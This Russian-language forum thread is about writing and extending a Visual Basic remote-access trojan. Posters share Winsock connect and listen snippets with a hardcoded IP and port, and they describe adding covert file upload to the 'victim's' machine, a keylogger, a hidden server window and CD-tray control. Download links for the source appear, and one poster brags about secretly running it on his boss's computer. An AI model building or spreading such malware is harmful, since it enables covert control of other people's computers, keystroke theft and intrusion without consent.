VB. Пишем троян (лазаем по чужому компу)

onthar
то есть прокинуть порты?

 

Читай: http://www.google.ru/search?aq=f&so...channel=cs&ie=UTF-8&q=port+forwarding&qscrl=1

 

onthar
благодарю=)

 

Перезалейте пжлста! и помоему тут перепутаны клиент и сервер. Обычно Сервер-и есть зараженная машина. Клиент - хакер. так по крайней мере и в радмине и везде где только встречал (в других троях)

 

здесь все несколько по другому, backconnect если не ошибаюсь)
нашел у себя на машине, перезалил

 

Ну так это не беда, там где 172.0.0.1 или 127.0.0.1 либо ничего ен писать, либо (ведь это начало exe-шника получается) либо дописать ф-кцию определения собственного айпишника и все. В общем, уважаемый автор статьи, как переделать на стандартный клиент-сервер? На примере радмина или прората? Чтобы кто бы не запустил бы сервер (заразился) то тот, у кого клиент (сама программа) смог приконнектиться с любого айпишника к жертве, зная ее айпишник. В общем по стандарту как у радмина (к примеру).
И еще такой вопрос, можно ли сделать (как в том же радмине) 2 режима, просмотр и управление раб. столом ?

Добавлено через 2 минуты
кстати так и не скачал, сайт http://zalil.ru/ вообще не открывается (( Залейте на депозит!

 

уважаемый автор статьи уже давно на этом форуме не появлялся((
а эта ссылка http://rapidshare.com/files/78106704/tcp_troj.rar разве не работает?

чтобы переделать его по принципу радмина, нужно backconnect заменить на прослушку порта, а в клиенте наоборот сделать по принципу подключения) это не так удобно как кажется, ибо вдруг у жертвы динамический ip? да и как его узнать, если будете менять принцип работы? ну в плане реализации то в проекте client нужно убрать строки

Код:

ip = "172.0.0.1" ' Указываем клиенту IP сервера
Winsock1.RemoteHost = ip        '
Winsock1.RemotePort = 1009      ' Задаём порт
Winsock1.Connect

и заменить на

Код:

Winsock1.Listen (1009)

в server надо сделать наоборот, но это только суть, т.к. менять придется в исходниках многое
имхо, лучше воспользоваться готовым вариантом

 

Маленько дописал
+ закачка файлов на комп жертвы
+ поправил переход по дискам
+ простенький кейлогер (совсем забыл про него)
Вот что я просил перезалить, то что мне перезалили - тот же самый проект. Ни кейлоггера, ни закачки файлов на ПК жертвы.
Кстати еще разок задам вопрос)

, можно ли сделать (как в том же радмине) 2 режима, просмотр и управление раб. столом ?

Добавлено через 1 час 59 минут
И кстати. Отправка сообщения - раздел msg.
На сервере (у вас тут -на клиенте, на "зараженной" машине)
условие: Если msg- то создаем
msgBox с текстом.

Я создал отдельные разделы, назвал cdrm
и как заставить зараженную машину открыть сидюк по кнопке?)) создал отдельную кнопку, отдельный раздел все так же как с отправкой сообщения, вот скрипт vbs открывающий сидюк.
CreateObject("WMPlayer.OCX.7").cdromCollection.item(0).Eject

Добавлено через 2 часа 56 минут
Кстати зря ты так. Только что сделал 2 поля (айпишник и порт) и кнопку Коннект. Все переписал все получилось. Теперь Сервер если запустить (заразиться) то врубается порт 1009 (к примеру) и слушается. Запускаем клиент - коннектимся к айпишнику сервера - все получилось. Осталось только додумать обработчик ошибок, к примеру при коннекте к левому айпишнику ничего конечно же не происходит, и если тут же коннектиться к нужному - рунтайм еррор)

Добавлено через 19 часов 39 минут
Скриншот:

Вот в общем доделал немножко. Могу выложить. И пожалуйста помогите с вопросами моими)) особенно с CreateObject("WMPlayer.OCX.7").cdromCollection.ite m(0).Eject

Добавлено через 22 часа 19 минут
особенно интересует закачка файлов на сервер.

Добавлено через 23 часа 30 минут
Залейте пожалуйста исходники Good Luck 3.2 !

 

может поделишься с нами

 

В общем вот что получилось: работает абсолютно всё.
Скриншот:

Буду дома через пару дней - выложу. Сервак тоже переделал, никаких окон у него нет.

 

ждем твоего релиза. Если можно подробней все объясни, что и как

 

лучше вот так:

Код:

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

- объявляем апи функцию

код для открытия сидюка:

Код:

Call mciSendString("set CDAudio door open", returnstring, 127, 0)

код для закрытия сидюка:

Код:

call mciSendString("set CDAudio door closed", returnstring, 127, 0)

 

Я именно так и реализовал, все что на скрине - все работает кроме единственной кнопки - Рабочий стол. На счет этого еще думаю..

 

все работает, сижу радуюсь, босс в недоумении уже второй день, не как не понимает что с компом у него делается))))

 

Люди еще такой вопрос. Есть исходник или статейка на тоже самое, только на C++ ? у меня MS Visual C++ 2008 экспресс выпуск. Хотелось бы и под него изучить сервер-клиент.. И чтобы с кнопочками (формами) )) Есть где-нибудь статейки такие?

 

Sateen, выложи то, что обещал. плиз.

 

Sateen,
ждемс, сможешь поделиться с нами??? СПАСИБО

 

karas,
можешь объяснить как запустить сервер? ну тот к которому должен трой стучаться

 

Хотелось бы взглянуть на исходник GoodLuck'a

 

Ну компилируешь и запускаешь на компе цели, все.

Единственный минус такого троянчика, что практическое применение ему только внутри сети, сейчас большинство компов за NAT'ом, а с прямым IP навряд ли найдешь кого